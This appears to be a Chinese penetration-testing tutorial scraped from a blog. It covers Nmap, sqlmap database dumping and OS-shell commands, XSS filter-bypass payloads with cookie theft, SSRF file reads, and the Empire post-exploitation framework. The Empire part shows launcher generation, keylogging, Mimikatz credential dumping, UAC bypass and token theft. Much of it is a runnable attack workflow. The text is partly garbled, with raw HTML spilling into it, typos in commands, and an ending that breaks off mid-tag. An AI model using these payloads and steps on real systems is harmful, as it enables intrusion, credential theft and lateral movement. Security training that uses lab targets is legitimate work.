MGwhhyq

【攻防渗透】

1. Nmap的基本

Nmap + ip 6+ ip

Nmap -A 开启操作系统识别和版本识别功能

– T（0-6档）设置扫描的速度一般设置T4 过快容易被发现

-v 显示信息的级别，-vv显示更详细的信息

192.168.1.1/24 扫描C段 192.168.11 -254 =上

nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中)

--------------- 192.168.1.1/24 --exclude 192.168.1.100 （排除在外的目标 .100）

--------------- -----------------excludefile ~/targets.txt

nmap 192.168.1.1 -p 80.443 网站是否在这个端口部署网站

nmap –traceroute 192.168.1.1 探测路由

nmap -O 192.168.1.1 对目标进行指纹识别

nmap -sV ---------- 对版本进行探测

nmap -sF -T4 192.168.1.1 利用fin包对端口进行扫描，识别是否被关闭，收到RST包，说明被关闭。否则是open 后者 fileter状态。（利用三次握手，可以绕开防火墙）

nmap –script=auth+ip 处理鉴权证书的脚本，也可以作为检测部分应用弱口令

-----------=brute+ip 暴力破解

扫描脚本介绍:

位置 : nmap安装目录/scripts/ 例如/usr/share/nmap/scripts

脚本类型：

ll /usr/share/nmap/scripts | grep ^- | wc -l

使用介绍:

nmap --script=auth 192.168.137.*

负责处理鉴权证书（绕开鉴权）的脚本,也可以作为检测部分应用弱口令

nmap --script=brute 192.168.137.*

提供暴力破解的方式可对数据库，smb，snmp等进行简单密码的暴力猜解

nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*

默认的脚本扫描，主要是搜集各种应用服务的信息，收集到后，可再针对具体服务进行攻击。

nmap --script=vuln 192.168.137.*

检查是否存在常见漏洞

nmap -n -p445 --script=broadcast 192.168.137.4

在局域网内探查更多服务开启状况

zenmap

Nmap 的图形化界面：

2.SQLmap 简介

是一种开源的渗透测试工具，可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。

支持的数据库：MySQL，Oracle, PostgreSQL, SQL Server, Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

安装sqlmap前，需要先安装Python3.X

Python Releases for Windows | Python.org

在环境变量path中，增加python3.x 安装路径

下载sqlmap并解压缩：

地址：sqlmap: automatic SQL injection and database takeover tool

Python sqlmap.py -u http://xxx.xxx.xxx/

Python sqlmap.py –help 查看帮助 borp

sqlmap支持五种不同的注入模式：

UNION query SQL injection（可联合查询注入）
uError-based SQL injection（报错型注入）
uBoolean-based blind SQL injection（布尔型注入）
uTime-based blind SQL injection（基于时间延迟注入）
uStacked queries SQL injection（可多语句查询注入）

2.sqlmap 常用命令参数

-u /--url 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”

-m 从文本中获取多个目标扫描，但是每一个一个url. sqlmap -m urllist.txt

-r 从文件中加载HTTP请求，这样的话就不需要再去设定cookie，POST数据….

--dbs 返回当前连接的数据库

--current-db 返回当前网站数据库的数据库用户

-D 指定数据库系统的数据库名

--tables 列举数据库表

-T 指定数据库表名

--columns 列举数据库表中的字段

-C 指定数据库表中的字段名

--dump 获取整个表的数据

3.设置回显等级

参数： -v默认为1

0 只显示python错误以及严重的信息

1 基本信息和警告信息

2 debug信息

3 注入的payload

（级别越高显示信息越多）

4同时显示HTTP请求。

5同时显示HTTP响应头。

6同事显示HTTP响应页面。

--data 把数以post方式提交，sqlmap会像检测GET参数一样检测POST过去的参数。

--cookie （用于区分用户）

可能会有漏洞，当web登录时，抓取数据包。

4.设置HTTP数据包相关参数

HTTP User-Agent 头

参数：--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。

sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs

sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞

5.设定探测等级：--level

共有五个等级默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到

--users 列数据库管理用户

--current-user 在数据库中，目前连接的用户

--is-dba 判断当前是否为管理，是的话返回true

--proxy 指定一个代理服务器 eg: -proxy http://xxxxxx.8080

--os-shell 前提：需要网站的物理路径，其次是需要有FIILE权限

6.Sqlmap“六步”

第一步：判断是否注是注入点

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”

检测该网站是否存在漏洞白色加粗字体为注入点也就是攻击对象

第二步：获取数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs

第三步：查看当前应用程序所用数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --current-db

四：列出指定数据库的所有表

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security（目标数据库）”—tables

五：读取指定表中的字段名称

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms

六：读取指定字段内容

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump（dump=下载，脱库）

判断当前数据库用户权限：

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba

如果是TRUE ，那么权限该用户很大。

-roles 列出数据库管理员角色

如果当前用户有权限读取包含所有用户的表，输入该命令会列举出每个用户的角色，

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles

-referer HTTPReferer头

当–level参数设定为3或3以上时，会尝试对HTTP Referer注入。可以使用referer命令来欺骗，如--referer https://mp.mysite.net

-sql-shell 运行自定义的sql语句

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

运行任意操作系统命令：

选择后台语言

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

--os-cmd=whoami

--os-shell

(以你的电脑为跳板，对局域网进行渗透，或留后门)

--file-read 从数据库服务器中读取文件：当前用户有权限使用特定的函数时，读取的文件可以是文本，也可以是二进制文件。

上传文件到数据库服务器中：

--file-write

--file-dest

读取指定数据库用户的密码

sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root

SQLMAP进阶常用tamper脚本

apostrophemask.py 将引号替换为utf-8，用于过滤单引号（易容术）

适用数据库：ALL

作用：将引号替换为utf-8，用于过滤单引号

使用脚本前：tamper("1 AND '1'='1")

使用脚本后：1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

multiplespaces.py 围绕sql关键字添加多个空格去绕过

适用数据库：ALL

作用：围绕sql关键字添加多个空格

使用脚本前：tamper('1 UNION SELECT foobar')

使用脚本后：1 UNION SELECT foobar

3. Burp Suite工具

一．配置及代理设置

1.使用前配置

①选择代理Proxy选项卡

②选择设置option选项卡

③Edit Running打勾 124.0.0.1:8080

配置成功

历史访问

二．功能模块讲解

模块介绍

send to spider 发送给爬虫模块

do a active scan 进行一次主动扫描

send to intruder 发送给爆破模块

send to repearter 发送给重放模块

send to comparer 发送给比对模块

send to decoder 发送给解码模块

request in browser 将请求在浏览器重放

四：MYSQL与SQL注入

mysql知识点- 基本查询语句

查询表中全部信息： select *from 表明-关键的函数

select+以下语句

version() 数据库版本

database() 数据库名

user() 用户名

current_user() 当前用户名

system_user() 系统用户名

@@datadir 数据库路径

@@version_compile_os 操作系统版本

-order by（排序）语法

-联合查询

order by 1—

order by 2—确定字段数

使用UNION操作符注入另外一个select查询，并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据

注意：相同的列结构

需要有知道表结构，列结构

exists（）函数猜解表明

information_schema 是一个mysql系统自带的元数据库

information_schema.SCHEMATA 查看所有的数据库

五、 XSS基础

1、什么是XSS?

中文名为跨站脚本攻击，跨站脚本，(Cross-Site Scripting, XSS)，当目标网站用户在渲染HTML文档的过程中，出现非预期的脚本指令并执行时，XSS就发生了。

2、攻击者给予应用恶意XSS代码，导致用户访问应用或服务器时执行代码，导致被XSS攻击。

攻击者→服务器→用户（xss是一种迫使Web站点回显可执行代码的攻击技术，而这些可执行代码由攻击者提供、最终为用户浏览器加载）

3、XSS的危害： 1.网络钓鱼，包括盗取各类用户的账号

2.窃取用户cookies资料，从而获取用户信息。

3.获取客户端信息，IP/端口等

4.劫持用户浏览器会话，从而执行任意操作

5.强制弹出窗口。

6.网页挂马，进行恶意操作

7.进行大量的客户端攻击如DDoS攻击

8.控制受害者机器向其他客户端攻击

4、XSS分类

①反射型：非持久型，调取用户cookie或者进行钓鱼，常常为通过引诱用户点击一个恶意链接来实施攻击。

（特点：

① 主要用于将恶意脚本附加到URL地址的参数中

② 只在用户单击url时触发,而且只执行一次,非持久化

③常用来窃取客户端 Cookies

或进行钓鱼欺骗.

④常常为通过引诱用户点击一

个恶意链接来实施攻击的）

name为可控参数

我们可以通过执行恶意代码弹窗，那么也能做些对我们有利的事情。

当我们构造好了如下恶意代码，发送给受害者。

将会弹出用户的cookie值，我们构造js代码，将该cookie值发送至我们自己的服务器，或者用XSS平台接收该cookie（例如https://xsshs.cn/），我们就能通过该cookie非法登录受害者的账户。

②存储型：渗透挂马蠕虫病毒出现在网站的留言、评论、日志等交互处，被存储在数据库或者客户端中，等再次浏览时受到攻击。

（特点：① 恶意代码被保存到目标网站的服务器中，每次用户访问时都会执行脚本代码，这种攻击具有较强的稳定性和持久性

② 比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全.

③ 一般出现在网站的留言、评论、日志等交互处,）

页面原理：

POST提交数据，生成、读取文本模拟数据库，

提交数据之后页面会将数据写入sql.txt，

再打开页面时会读取sql.txt中内容并显示在网页上，

实现了存储型xss攻击模拟。

当输入恶意代码，即会执行

并且恶意代码会一直存储在服务器，每当有用户访问该页面，即会触发恶意代码

利用XSS弹出恶意警告框

网页不停刷新

http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=

获得cookie

劫持流量（跳转到你的博客强行吸粉）

③dom型：将XSS代码嵌入dom文档（每一个网页），通过JS脚本对文档对象进行编辑从而修改页面元素，增加漏洞。

xss平台

1.获取COOKIE(这是必须的最基本的功能)

2.获取源码(取当前网页的源码)

3.截图(可自己修改为连续截图)

4.……………

https://xss.pt

https://xssaq.com

XSS利用——无任何过滤
- alert(1);
- //onerror等事件，可以调用js
- <iframe οnlοad=alert("xss");>
 //src中支持伪协议
- <textarea οnfοcus=alert("xss"); autofocus></li> </ul></li> <li style="text-align:justify;">往往用户可控的参数都进行了过滤，不会让你用一个<script>标签就轻易攻击成功</li> </ul> <script>shellcode</script> XXS绕过： <ul> <li style="text-align:left;">关键字绕过 <ul> <li style="text-align:left;">空格绕过 <ul> <li style="text-align:left;">用/代替空格 <img/src="x"/οnerrοr=alert("xss");></li> </ul></li> <li style="text-align:left;">关键字绕过 <ul> <li style="text-align:left;">大小写绕过 <ImG sRc=x onerRor=alert("xss");></li> <li style="text-align:left;">利用其他标签</li> <li style="text-align:left;">双写关键字 <imimgg srsrcc=x οnerrοr=alert("xss");></li> <li style="text-align:left;">字符拼接 <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> <script>top["al"+"ert"](`xss`);</script></li> </ul></li> <li style="text-align:left;">利用函数进行编码绕过 <ul> <li style="text-align:justify;">Unicode绕过 <img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 利用函数进行编码绕过</li> <li style="text-align:left;">ASCII码 <img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"></li> <li style="text-align:left;">Hex绕过 <img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')></li> <li style="text-align:left;">Base64编码 <img src="x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></li> </ul></li> </ul></li> <li style="text-align:left;">过滤括号 <ul> <li style="text-align:left;">当括号被过滤的时候可以使用throw来绕过 <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> //异常处理</li> <li style="text-align:left;">反引号 <img src=x οnerrοr=alert`1`></li> </ul></li> <li style="text-align:left;">过滤双引号，单引号 <ul> <li style="text-align:left;">反引号 <img src=1 οnerrοr=alert`1`;></li> </ul></li> <li style="text-align:left;">js事件 <ul> <li style="text-align:left;">当某个位置的可控点在一个标签内，那么或许可以通过js事件来完成xss操作</li> </ul></li> <li style="text-align:justify;"><img src=1 οnerrοr=alert`1`;></li> <li style="text-align:justify;"><a href="http://img.e-com-net.com/image/info8/79c7f61500f5480283d10aa35c46f456.jpg" target="_blank"><img alt="【攻防渗透】_第26张图片" height="514" src="http://img.e-com-net.com/image/info8/79c7f61500f5480283d10aa35c46f456.jpg" width="544" style="border:1px solid black;"></a></li> </ul> <ul> <li style="text-align:left;">混淆： 利用html标签格式的不严格、容错性。 <ul> <li style="text-align:left;">关键字中加空格</li> <li style="text-align:left;">加TAB</li> <li style="text-align:left;">回车</li> </ul></li> </ul> url编码 <img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> Cref漏洞 漏洞介绍: 一种对网站的恶意使用。与 xss相比不大流行（因此对其防范相当稀少，比xss更加具有危险性。 原理：利用目标用户身份，以目标用户名义执行非法操作（以目标用户名义发邮件，消息，盗取目标账号，购买商品，虚拟货币转账等），会泄露目标用户的财产安全。 Ps：（CSRF漏洞经常用来制作蠕虫攻击，刷SEO流量） 靶场实战：漏洞分析： ：<a href="http://img.e-com-net.com/image/info8/74ed826960404b9db1f75f55d8d9f429.jpg" target="_blank"><img alt="【攻防渗透】_第27张图片" height="152" src="http://img.e-com-net.com/image/info8/74ed826960404b9db1f75f55d8d9f429.jpg" width="552" style="border:1px solid black;"></a> <a href="http://img.e-com-net.com/image/info8/c9bd1b4d17884ef38b36f1c352a975a4.jpg" target="_blank"><img alt="【攻防渗透】_第28张图片" height="149" src="http://img.e-com-net.com/image/info8/c9bd1b4d17884ef38b36f1c352a975a4.jpg" width="554" style="border:1px solid black;"></a> <a href="http://img.e-com-net.com/image/info8/ba29273081bc4d64b6a2b9517c456e5d.jpg" target="_blank"><img alt="【攻防渗透】_第29张图片" height="316" src="http://img.e-com-net.com/image/info8/ba29273081bc4d64b6a2b9517c456e5d.jpg" width="552" style="border:1px solid black;"></a> Ssrf漏洞：是一种由攻击者构造请求，由服务器发起请求的安全漏洞。与csrf最大的区别是一个是服务器，一个是由客户端发起的。 在域名后增加url=语句，从而利用ssrf漏洞篡改脚本访问的地址。 攻击方式如下： 对外网，服务器所在的内网，本地进行端口扫描，获取的banner信息。 B，攻击运行在内网或本地的应用程序。 C，对内网web应用进行指纹识别，识别企业内部的资产信息。 D.攻击内外网的web应用，主要是用HTTP请求就可以实现的攻击（比如struts2，sqli 等等） 利用file协议读取本地文件。 SSRF漏洞利用： 测试地址：http://127.0.0.1.1/ssrf.php?Url=http:127.0.0.7/2.php 页面ssrf.php实现的功能获取GET参数URL，然后将url的内容返回网页上。 如果将请求的网址篡改为http://www.baidu.com，则会显示http://www.baidu.com的网页内容，但是，当设置参数URL为内网地址时，则会泄露内网信息。 访问ssrf.php?Url=file://C:/wwindows/win.ini即可读取本地文件。 <a href="http://img.e-com-net.com/image/info8/090d6cb1f3a84455ab2f812ce1581ccf.jpg" target="_blank"><img alt="【攻防渗透】_第30张图片" height="327" src="http://img.e-com-net.com/image/info8/090d6cb1f3a84455ab2f812ce1581ccf.jpg" width="554" style="border:1px solid black;"></a> Ssrf漏洞修复建议： ，限制请求的端口只能为web端口，只允许访问HTTP和HTTPS的请求。 限制不能访问的内网ip，以防止对内网进行攻击。 屏蔽返回的详细信息。 七，Empire Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具，具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能，还可以快速在后期部署漏洞利用模块，其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等，使用能够躲避内网检测和大部分安全防护工具的查杀，简单来说就有点类似Metasploit，是一个基于PowerShell的远程控制木马。 Empire运行在linux平台上 官方下载地址，不过很久没有更新，需要Python 2.6/2.7环境 https://github.com/EmpireProject/Empire KALI示例： git clone https://github.com/EmpireProject/Empire.git <a href="http://img.e-com-net.com/image/info8/672565048a72402697ff3ce3952845d7.jpg" target="_blank"><img alt="【攻防渗透】_第31张图片" height="102" src="http://img.e-com-net.com/image/info8/672565048a72402697ff3ce3952845d7.jpg" width="554" style="border:1px solid black;"></a> 然后安装Empire的依赖，命令如下 cd Empire cd setup pip install -r requirements.txt（若没有安装pip库，则需要先通过apt-get install pip进行安装） ./install.sh 在安装完依赖以后，返回上一级文件，启动Empire工具，命令如下： cd .. ./empire 若启动失败，则可能是因为依赖未完全安装好，只需要手动通过pip install xxx安装未安装好的依赖即可。 启动时如果遇到如下报错 <a href="http://img.e-com-net.com/image/info8/a3368ba91f8742b69cd5c3b696079d89.jpg" target="_blank"><img alt="" height="68" src="http://img.e-com-net.com/image/info8/a3368ba91f8742b69cd5c3b696079d89.jpg" width="554"></a> 可以将urllib3版本降级 pip install urllib3==1.22 重新设定 bash reset.sh 基本使用会涉及如下内容： 1.帮助文档 2.设置监听 3.生成木马 4.连接主机和基本使用 5.信息收集 6.权限提升 帮助文档 运行Empire后，输入help命令查看具体的使用帮助。 <a href="http://img.e-com-net.com/image/info8/998e13b25d014863ad3a0240b082d410.jpg" target="_blank"><img alt="【攻防渗透】_第32张图片" height="292" src="http://img.e-com-net.com/image/info8/998e13b25d014863ad3a0240b082d410.jpg" width="554" style="border:1px solid black;"></a> 设置监听步骤如下： listeners #进入监听线程界面 uselistener #设置监听模式 info #查看具体参数设置 set #设置相应参数 execute #开始监听 输入Listeners命令进入监听界面，按TAB键可以补全命令，按两次TAB键或者help可以显示可以利用的模块 <img alt="" height="0" src="http://img.e-com-net.com/image/info8/88388f8f551542e7beaba3e7796a605f.jpg" width="0"> 输入uselistener来设置采用何种监听模式，双击TAB可以看到有以下可以使用的模式。 <a href="http://img.e-com-net.com/image/info8/8bf2a9622983464db4b43ce5238cec68.jpg" target="_blank"><img alt="" height="48" src="http://img.e-com-net.com/image/info8/8bf2a9622983464db4b43ce5238cec68.jpg" width="554"></a> 设置监听 这里采用http监听模式，输入uselistener http。 <img alt="" height="32" src="http://img.e-com-net.com/image/info8/7692ae1d833b4efaa5a7351f0538e468.jpg" width="554"> 然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。 <a href="http://img.e-com-net.com/image/info8/a76cb8b3948a425cafa07e96d5070102.jpg" target="_blank"><img alt="【攻防渗透】_第33张图片" height="306" src="http://img.e-com-net.com/image/info8/a76cb8b3948a425cafa07e96d5070102.jpg" width="554" style="border:1px solid black;"></a> 通过set配置参数，并提供execeute执行，需要注意的是Empire不同于Metasploit，Empire命令是区分大小写的 <a href="http://img.e-com-net.com/image/info8/33ae096048244bbbb81d2699e5d842d0.jpg" target="_blank"><img alt="【攻防渗透】_第34张图片" height="173" src="http://img.e-com-net.com/image/info8/33ae096048244bbbb81d2699e5d842d0.jpg" width="554" style="border:1px solid black;"></a> 通过back返回上一级，使用listeners或者list可以查看所设置的监听器 <a href="http://img.e-com-net.com/image/info8/960a0fd46d1b4e1fbcf45de1822d51bc.jpg" target="_blank"><img alt="" height="89" src="http://img.e-com-net.com/image/info8/960a0fd46d1b4e1fbcf45de1822d51bc.jpg" width="554"></a> 生成木马 输入usestager后空格加TAB键查看可以设置的木马模式 <a href="http://img.e-com-net.com/image/info8/00f9fe82397b4764943995c79fd3d155.jpg" target="_blank"><img alt="【攻防渗透】_第35张图片" height="102" src="http://img.e-com-net.com/image/info8/00f9fe82397b4764943995c79fd3d155.jpg" width="554" style="border:1px solid black;"></a> 木马就类似Metasploit中的payload，其中multi为通用模块，osx是Mac操作系统的模块，剩下的是Windows的模块。 我们以 windows/launcher_bat为例，给大家说下过程，其他的使用都类似 要使用launcher_bat，首先输入usestager windows/launcher_bat，然后输入info命令查看详细参数 <a href="http://img.e-com-net.com/image/info8/753a8f3eadb64a52938a7576a9e9c4fd.jpg" target="_blank"><img alt="【攻防渗透】_第36张图片" height="231" src="http://img.e-com-net.com/image/info8/753a8f3eadb64a52938a7576a9e9c4fd.jpg" width="554" style="border:1px solid black;"></a> 通过set配置参数，我们需要设置一个 Listener 参数，即监听的名字（前面我们给监听起得一个名字test1），通过execeute执行， 文件会生成到 tmp 目录下，如下所示<a href="http://img.e-com-net.com/image/info8/9c80481e60fa402f925b065f2084bd30.jpg" target="_blank"><img alt="" height="61" src="http://img.e-com-net.com/image/info8/9c80481e60fa402f925b065f2084bd30.jpg" width="554"></a> 在目标主机上运行生成的launcher.bat，输入 agents 可以查看已经获得的会话 <a href="http://img.e-com-net.com/image/info8/a9a7497d9064406abbe94ea30dfdcad1.jpg" target="_blank"><img alt="【攻防渗透】_第37张图片" height="145" src="http://img.e-com-net.com/image/info8/a9a7497d9064406abbe94ea30dfdcad1.jpg" width="554" style="border:1px solid black;"></a> 我们再介绍另一种生成木马方式：launcher 如果只需要简单的powershell 代码，在设置完相应的参数后，可直接在监听器（listeners）中输入命令 launcher <language> <Listener Name> 生成base64编码的代码 <a href="http://img.e-com-net.com/image/info8/33cdd3d2bdc44b9591b0c773ef5674bd.jpg" target="_blank"><img alt="【攻防渗透】_第38张图片" height="130" src="http://img.e-com-net.com/image/info8/33cdd3d2bdc44b9591b0c773ef5674bd.jpg" width="554" style="border:1px solid black;"></a> 然后复制生成的payload 在目标机器上执行 <a href="http://img.e-com-net.com/image/info8/11d69fc896a9468aa0638151cf9a1d39.jpg" target="_blank"><img alt="" height="45" src="http://img.e-com-net.com/image/info8/11d69fc896a9468aa0638151cf9a1d39.jpg" width="554"></a> 可以看到有会话生成，输入 agents 可以查看已经获得的会话 、<a href="http://img.e-com-net.com/image/info8/04cd2b235ef94ba583b07fa4692b100c.jpg" target="_blank"><img alt="【攻防渗透】_第39张图片" height="154" src="http://img.e-com-net.com/image/info8/04cd2b235ef94ba583b07fa4692b100c.jpg" width="554" style="border:1px solid black;"></a> 连接主机和基本使用 在目标主机反弹成功以后，可以通过agents命令列出当前已连接的主机，这里要注意如果有带有(*)的是已提权成功的主机。 然后使用interact命令连接主机，可以使用Tab键补全主机的名称，连接成功以后可以通过rename修改会话名称 <a href="http://img.e-com-net.com/image/info8/d36cb631727446e0b3f3adf94020b0b9.jpg" target="_blank"><img alt="【攻防渗透】_第40张图片" height="140" src="http://img.e-com-net.com/image/info8/d36cb631727446e0b3f3adf94020b0b9.jpg" width="554" style="border:1px solid black;"></a> 可以通过help查看可以使用的命令输入help agentcmds可以查看可供使用的常用命令输入help agentcmds可以查看可供使用的常用命令可以通过pwd查看当前目录upload可以上传文件，通过cat查看文件内容 <a href="http://img.e-com-net.com/image/info8/8e6b21eef9e542f48560683515c07174.jpg" target="_blank"><img alt="【攻防渗透】_第41张图片" height="395" src="http://img.e-com-net.com/image/info8/8e6b21eef9e542f48560683515c07174.jpg" width="554" style="border:1px solid black;"></a> 使用某些CMD命令时，要使用“shell+命令的形式” ，如下<a href="http://img.e-com-net.com/image/info8/6a7d0473446e422faaa72430f20e44f6.jpg" target="_blank"><img alt="【攻防渗透】_第42张图片" height="172" src="http://img.e-com-net.com/image/info8/6a7d0473446e422faaa72430f20e44f6.jpg" width="554" style="border:1px solid black;"></a> Empire主要用于后渗透。所以信息收集是比较常用的一个模块，可以使用searchmodule命令搜索需要使用的模块，这里通过键如usemodule collection然后按Tab查看完整的列表 <a href="http://img.e-com-net.com/image/info8/bb442a5d94da465bac2310c1082f6288.jpg" target="_blank"><img alt="" height="53" src="http://img.e-com-net.com/image/info8/bb442a5d94da465bac2310c1082f6288.jpg" width="554"></a> 1.屏幕截图 输入以下命令，然后执行即可 <a href="http://img.e-com-net.com/image/info8/47a7cd1694094e02bb927ff5a7b8a8cb.jpg" target="_blank"><img alt="【攻防渗透】_第43张图片" height="102" src="http://img.e-com-net.com/image/info8/47a7cd1694094e02bb927ff5a7b8a8cb.jpg" width="554" style="border:1px solid black;"></a> 2.键盘记录 输入以下命令usemodule collection/keylogger，通过info可以查看详细信息，execute执行 <a href="http://img.e-com-net.com/image/info8/312475b0f6bd466490bfb0510599948c.jpg" target="_blank"><img alt="【攻防渗透】_第44张图片" height="399" src="http://img.e-com-net.com/image/info8/312475b0f6bd466490bfb0510599948c.jpg" width="358" style="border:1px solid black;"></a> 可以通过jobs kill JOB_name停止键盘记录 <a href="http://img.e-com-net.com/image/info8/f5dfbd1bc4c64f5499ead95feb6583bb.jpg" target="_blank"><img alt="" height="81" src="http://img.e-com-net.com/image/info8/f5dfbd1bc4c64f5499ead95feb6583bb.jpg" width="416"></a> 3.ARP扫描 Empire也内置了ARP扫描模块，输入以下命令即可使用该模块，这里要设置Range参数 <a href="http://img.e-com-net.com/image/info8/e8f25dc1d3c84288bc55a7e08ecac9f6.jpg" target="_blank"><img alt="【攻防渗透】_第45张图片" height="318" src="http://img.e-com-net.com/image/info8/e8f25dc1d3c84288bc55a7e08ecac9f6.jpg" width="344" style="border:1px solid black;"></a> 4.查找域管登陆服务器IP 在内网渗透中，要想拿到内网中某台机器的域管权限，方法之一就是找到域管登录的机器，然后横向渗透进去，窃取域管权限，从而拿下整个域，以下这个模块就是用来查找域管登录的机器的。 使用模块usemodule situational_awareness/network/powerview/user_hunter <a href="http://img.e-com-net.com/image/info8/f44883c58b904db2b98778b45e592d29.jpg" target="_blank"><img alt="【攻防渗透】_第46张图片" height="191" src="http://img.e-com-net.com/image/info8/f44883c58b904db2b98778b45e592d29.jpg" width="554" style="border:1px solid black;"></a> 权限提升 提权，顾名思义就是提高自己在服务器中的权限，就比如在Windows中，你本身登陆的用户是Guest，通过提权后，就会变成超级管理员，拥有了管理Windows的所有权限。以下是常见几种提权方式： 1.Bypass UAC UAC介绍 UAC（UserAccount Control，用户账户控制）简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。 <a href="http://img.e-com-net.com/image/info8/842185c667b54a0f8863b9468852a581.jpg" target="_blank"><img alt="【攻防渗透】_第47张图片" height="252" src="http://img.e-com-net.com/image/info8/842185c667b54a0f8863b9468852a581.jpg" width="452" style="border:1px solid black;"></a> 为了远程执行目标的exe或者bat可执行文件绕过此安全机制，以此叫BypassUAC（不进行弹窗直接运行执行文件） 输入以下命令，设置Listener参数，运行execute，会发现成功上线了一个新的反弹 <a href="http://img.e-com-net.com/image/info8/47c9af04d8c641c19fe25a54062f7f14.jpg" target="_blank"><img alt="【攻防渗透】_第48张图片" height="169" src="http://img.e-com-net.com/image/info8/47c9af04d8c641c19fe25a54062f7f14.jpg" width="554" style="border:1px solid black;"></a> 返回agents，通过list可以看到有一个新的会话，并且带有*，说明提权成功。 <a href="http://img.e-com-net.com/image/info8/fde27786f8444f5e864782e62103de75.jpg" target="_blank"><img alt="" height="82" src="http://img.e-com-net.com/image/info8/fde27786f8444f5e864782e62103de75.jpg" width="554"></a> 2.PowerUp Empire内置了PowerUp的部分工具，用于系统提权，主要有Windows错误系统配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式，输入以下命令，然后通过tab键查看完整列表 <img alt="" height="23" src="http://img.e-com-net.com/image/info8/c23d5dd9c70c495e9ebef1d645245c50.jpg" width="554"> 查找系统中的漏洞，和PowerSploit下PowerUp中的Invoke-AllChecks模块一样，该模块可以执行所有脚本检查系统漏洞 <a href="http://img.e-com-net.com/image/info8/06912632f6e3421b9950bea56cff4d6d.jpg" target="_blank"><img alt="【攻防渗透】_第49张图片" height="259" src="http://img.e-com-net.com/image/info8/06912632f6e3421b9950bea56cff4d6d.jpg" width="549" style="border:1px solid black;"></a> 我们可以通过BypassUAC进行提权 3.通过溢出漏洞 本地溢出提权首先要有服务器的一个普通用户权限，攻击者通常会向服务器上传本地溢出程序，在服务器端执行，如果系统存在漏洞，那么将溢出Administrator权限。 这里我们使用ms16-032来提权，输入以下命令即可通过溢出漏洞进行提<a href="http://img.e-com-net.com/image/info8/7e7f6be434754f30ab80bc30d9a8f784.jpg" target="_blank"><img alt="【攻防渗透】_第50张图片" height="289" src="http://img.e-com-net.com/image/info8/7e7f6be434754f30ab80bc30d9a8f784.jpg" width="538" style="border:1px solid black;"></a>横向渗透，就是在已经攻占部分内网主机的前提下，利用既有的资源尝试获取更多的凭据、更高的权限，进而达到控制整个内网、拥有最高权限、发动类似 APT 的目的。 在横向渗透中，最先得到的主机，以及之后新得到的主机，会成为突破口、跳板。如同一个不断扩大的圆形，获得的主机越多，圆能触及之处越大，让其周遭的「横向」部分由未知成为已知。 1.令牌窃取 我们在获取到服务器权限后，可以使用内置mimikatz获取系统密码，执行完毕后输入creds命令查看Empire列举的密码。如下图所示<a href="http://img.e-com-net.com/image/info8/d0db79f76a534d97ba01cc88a0704ef0.jpg" target="_blank"><img alt="【攻防渗透】_第51张图片" height="171" src="http://img.e-com-net.com/image/info8/d0db79f76a534d97ba01cc88a0704ef0.jpg" width="554" style="border:1px solid black;"></a> 从这里发现有域用户曾在此服务器上登录，此时可以窃取域用户身份，然后进行横向移动 首先先来窃取身份，使用命令pth<ID>，这里的ID号就是creds下的CredID号，我们这里来窃取administrator的身份令牌，执行pth 7命令<a href="http://img.e-com-net.com/image/info8/c0d308507d0c4591ae35cebe90e710d3.jpg" target="_blank"><img alt="【攻防渗透】_第52张图片" height="269" src="http://img.e-com-net.com/image/info8/c0d308507d0c4591ae35cebe90e710d3.jpg" width="554" style="border:1px solid black;"></a>使用steal_token PID命令就窃取了该身份令牌了，如下图所示。 <a 